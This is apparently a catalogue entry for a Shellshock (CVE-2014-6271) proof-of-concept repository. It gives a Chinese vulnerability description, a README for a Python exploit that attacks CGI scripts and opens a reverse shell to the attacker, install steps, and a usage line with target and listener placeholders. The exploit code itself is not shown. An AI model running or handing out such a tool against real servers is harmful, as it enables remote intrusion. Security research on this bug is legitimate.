CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source

https://github.com/knightc0de/Shellshock_vuln_Exploit

Associated Vulnerability

Title:GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
Description:GNU Bash是美国软件开发者布莱恩-福克斯（Brian J. Fox）为GNU计划而编写的一个Shell（命令语言解释器），它运行于类Unix操作系统中（Linux系统的默认Shell），并能够从标准输入设备或文件中读取、执行命令，同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞，该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用：OpenSSH sshd中的ForceComman

Description

CVE-2014-6271(RCE) poc Exploit

Readme

# 🚨 Shellshock RCE Exploit (CVE-2014-6271) 
 This is a Python exploit for the [Shellshock vulnerability (CVE-2014-6271)](https://nvd.nist.gov/vuln/detail/CVE-2014-6271), which affects **GNU Bash**. The exploit targets **CGI scripts** on vulnerable web servers and establishes a **reverse shell** to the attacker's machine.

---

##  CVE ID
> **CVE-2014-6271**

---
##  Disclaimer

This tool is intended **only for educational and ethical purposes**. 

---
##  Features

- Exploits vulnerable CGI scripts using Shellshock
- Reverse shell handler 
- Supports:
  - HTTP & HTTPS
  - Custom CGI paths
  - proxy support
- Interactive shell on success



## CVE Information

- **CVE**: [CVE-2014-6271](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)
- **Vulnerability**: GNU Bash environment variable command injection
- **Impact**: Remote Code Execution (RCE)  crafted headers to CGI applications

##  Requirements

- Python 3.x
- [`pwntools`](https://docs.pwntools.com/)
- [`requests`](https://docs.python-requests.org/)

## Install
```
sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py
```


---

## Example Usage 

```bash
python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg

File Snapshot


 [4.0K]  /data/pocs/4f9792e45438a12406fe60ce7d10fd3d90c00627
├── [3.3K]  CVE-2014-6271.py
├── [1.0K]  LICENSE
└── [1.4K]  README.md

0 directories, 3 files

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